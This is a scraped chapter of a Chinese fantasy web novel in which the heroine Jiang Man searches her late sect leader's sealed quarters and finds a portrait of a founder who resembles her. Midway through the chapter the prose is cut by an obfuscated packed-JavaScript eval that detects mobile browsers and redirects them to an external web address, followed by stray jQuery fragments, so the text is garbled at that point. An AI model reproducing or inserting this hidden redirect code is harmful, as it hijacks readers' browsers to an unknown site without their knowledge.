55. 第一座山(55)

作品:《杀死那座山

    重回天一疗养院,明明才过去没多久,姜满却觉得恍若隔世。


    这一幢幢新的建筑,既陌生,又熟悉。


    疗养院前面的楼都不算高,里面的绿化做的很好,为了让住在这里的老人或病人得到更好的休养,刚好又建在山里,空气清新,环境优美。


    门口的保安认得张云汉,开了门,张云汉停好车,跟着姜满往疗养院深处走去。


    [至于我的去向,如果你还愿意回天一道,可以去我办公室地下的住处看一看,等你解开我留给你的字谜,你就知道我为什么一定要查你的身世,又为什么要保护你了。]


    这是张信德曾经留给姜满的话。


    过去,姜满没有放在心上,她也对自己的身世没有什么兴趣,可如今,她要活在这世上,要不杀任何记忆体的活在这世上,还要……让阿卓好好的留在她身边,至少,要弄明白,那个女人要的是什么。


    知其所图,才能有所防备。


    这些日子经历的桩桩件件,凡和那个女人有关的,无一不是印证,这个和她长得很像又是同姓的女人,碧虚的掌门,实力深不可测不说,所用功法玄术,更是闻所未闻,诡谲难料。


    姜满深知,自己行事受[空]所掣肘,既不能全力应对,难保不会失手。


    杀死记忆这种事,平日里都难以避免,更别说有人且不止一人,总是在找她麻烦的时候。


    至于……影子……


    此刻的姜满戴着一顶能包住头的冷帽,遮住了她光秃秃的脑袋,毕竟她那样出门,很难不引人注目。


    地上的影子里,她和张云汉走在一起,今天的阳光很好,日头才微偏,影子很短,但颜色很深,黑色的,好像这里面,什么都没有,也有可能什么都有。


    影子?


    她为什么总是会注意到影子?不过是那个女人的一句话,为什么,好像在她心里,埋下了一根针?


    姜满有些烦躁,脚步加快了些。


    “大长老!您走慢点……可真行啊,上午您还那样,后来洗了个澡又变这样,现在又走那么快……”


    七拐八绕,二人终于看到了一栋小楼。


    和三十二年前相比,这栋小楼应该翻新过,但只是粉刷了外墙,贴了砖,布局没变。


    只是这门和围墙……


    “您怎么到这儿来了?我们不是找云霆师兄吗?”张云汉并不知道姜满回到疗养院的目的。


    姜满顺着小楼装着铁丝电网的围墙,走到那扇封锁严实的铁门前,“这……是怎么回事?”


    这样规格的门和围墙,怎么可能是张信德住的地方?


    “您不知道?”张云汉像是见惯了,并不觉得奇怪。


    “知道什么?”


    “掌门他下山前,已经……有些不正常了,所以,不得不按照掌门吩咐,把这里的安防加强了些。”


    “不正常?你仔细说清楚。”


    张云汉点点头,“也是,您一直待在那个地方,外面的事知道的不那么清楚,也很正常。掌门近些年许是因为年岁上来了,身体也不太好了,许多慢性病……就是高血压糖尿病什么的,不过这些本就是人之生老病死,是常理,但你知道,这些放在玄人身上,是很难接受的,玄人修己,只为长生,除妖驱邪不过是为了增加功德,运气好些的,得到些仙缘,说到底,也都是为了自己。”


    “行了,我知道他身体不好,玄人的事我也不敢兴趣,你说话能不能不要有这么多铺垫?他哪不正常了?身体不好何至于如此?”


    “您别急啊……原本掌门身体不好,咱们这儿又是疗养院,很适合养身体,他老人家也不大爱出门,成日里待在他的住处,也就是这里,后来,不知怎么的,他又开始频繁外出,作为掌门,做什么、为什么……咱们天一道的人有疑问,却也不好问。”


    张云汉顿了顿,继续说:“再后来,他就有些……神志不清,或者说,半疯了。”


    “半疯?”


    “对,时而清醒,时而疯癫,也是他老人家清醒的时候吩咐的,把这里封锁起来。”


    姜满皱起眉头,“那他既然疯了,你们又是怎么能放他下山去查什么我的身世的?”


    “他是掌门啊,谁能违拗他的意思,何况,这都是他清醒时的决定。”


    是啊,必然是张信德清醒时的决定,姜满记得,他下山之前,还来找过她,那时可看不出半点疯态。


    “一个疯子,还让他坐稳这掌门的位置,天一道还真是……无可救药。”姜满缓缓看向张云汉,盯着他的眼睛,“张云汉,你该不会,还有什么事瞒着我吧?”


    张云汉眨眨眼,惊呼道:“怎么会?我哪敢啊!您忘了,我发过誓的。”


    [我张云汉发誓!不敢再对大长老不说、有所隐瞒!]


    他是发过誓,可这誓言支支吾吾,倒不如不发,当真是把她当成傻子了。


    姜满又看了他一会儿,转头面向小楼的大门,“我不想再坐牢了,但是,我以前不懂,活了这么久,还能不懂吗?想让一个人死,且不留痕迹,不被抓到,明明就很简单,你说是不是?”


    说着,她手上轻轻一推,门就开了。


    小楼几个月无人居住,院子里却也没有半点荒景。


    草坪修剪的齐齐整整,石砖上的桌椅摆设一尘不染,姜满走上那短短的几级石阶,身后传来几人匆匆的脚步声。


    “大长老,你怎么在这儿?”


    女人的声音。


    姜满回过头看去,正是当初请她出山的四位天一道长老,说话的,是那位女长老,排行……应该在第三。


    她没再看他们,拧开了门,踏进去前,说道:“张云汉,好好和几位长老叙叙旧,别怠慢了。”


    说完,她走进了小楼,关上了门。


    这个地方,目光所及之处,是张信德的办公室,下面,就是他的居所了。


    说起来,如果没有他,她恐怕至今还在米苏监狱服刑,更没有机会了解玄人玄术,自然,也不会有张云汉,不会知道如何破除[空]的诅咒。


    屋内昏暗,窗帘紧闭,空旷的布局,座椅旁边有绳索,看起来,是张信德用来捆住自己的,书桌上放着一堆书,还有一个足球大小的鱼缸,鱼缸里没有鱼,只有一缸清水。


    清水……不全是,里面,似乎有墨,没有完全晕开的墨……


    姜满眉头微蹙,却并未探究,很快,她在木制楼梯拐角处发现一扇木门。


    打开木门,里面是一条通往地下的甬道。


    这儿不是什么密室,门边有甬道灯的开关,打开灯,整个甬道亮堂堂的。


    姜满走了下去,目光,却落在了自己的影子上。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15169077|155775||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    影子跟随着她的步伐,她分明一直往下,但影子却是上上下下,在她脚下前后轮转……每个人走楼梯,影子都是这样的吗?


    姜满闭了闭眼,心里又开始烦躁起来。


    她几时把那些早已成空的过去放在眼里了?她又何曾在乎过自己到底是谁?为什么?为什么那个女人的一句话,竟让她总是不由自主的注意这种毫无意义的东西,不过是光被物体遮挡后形成的暗象,有什么值得在意的?


    当初张信德会去西疆把她带回来,就是因为她身上的掌门印,而那个女人也提到了掌门印。


    天一道作为道玄正统,一派之印流落在外,偏还流落到她的手上,本就值得怀疑,加之此正是张信德几番口口声声所说的身世之事。


    这一趟回天一疗养院,她只想知道,张信德到底留了什么给她。


    关于张信德,细细计较起来,问题很多。


    五方镜为什么不在下山之前来见她的时候给她?为什么要找一对至今不知是敌是友的夫妻给她?那对夫妻和张信德是什么关系?和碧虚又是什么关系?为何要在她肩膀留下碧虚的印记?张信德和碧虚,又有什么关系?张信德如果还有话想对她说,为什么不在五方镜留给她的影像里说完……


    太多了,一时竟都理不清。


    又一扇门出现在姜满面前,如之前一般,没有上锁的门。


    这是她第一次来到张信德住的地方,记得当年天一疗养院还是天一福利院的时候,她曾在他的办公室略坐过片刻,喝了杯茶。


    她至今仍记得当时的对话。


    他问:“有兴趣做天一道的大长老吗?”


    她反问:“做了大长老,能学玄术吗?这玄术,能让人死而复生吗?”


    他说:“你的情况我都知道,人死不能复生,这是天道,但你,也不是什么都做不了。”


    “我能做什么?”


    “好好活着,为逝去的人活着。天一道流传下来的古籍中有记载:亲者念,仇者恨,岁岁拜祭,魂灵百年可得一轮回。”


    “百年?轮回?”


    “是,你既有长生之能,区区百年,你当然等得起。”


    就是他这番话,让她重新有了生机;让她甘愿成为天一道大长老;让她开始琢磨超度之法,只为好好活着,不忘记他们的活着。


    张信德的住处映入眼帘,与姜满曾经住的地方格局很像,有客厅,有房间。


    但姜满的目光,却被墙上悬挂的一幅古画吸引了。


    画卷有些泛黄,但保存的很好,所绘是一女子,白衣长发,飘逸如仙,嘴角带笑,一双眼睛最是传神,灵动又清亮。


    这分明是……


    上有题款,曰:乙丑夏六月为天一道祖师姜清诗画。


    祖师?姜清?


    姜满拿出手机,拍下了这幅画。


    画卷并没有署名,只说了所绘何人,可所绘之人,分明,与她极为相像……


    她又仔细看了看这幅画,随着她的靠近,她注意到画卷下方留白处,有一个黑笔留下的小字,小小一个,蚂蚁一般。


    影?


    姜满心下一惊,不觉后退了两步。


    这张信德当真是神算吗?这就是他留下的字迷?他怎么会算到,她如今走下来,怎么会算到她心中烦闷之事,就是这个“影”字?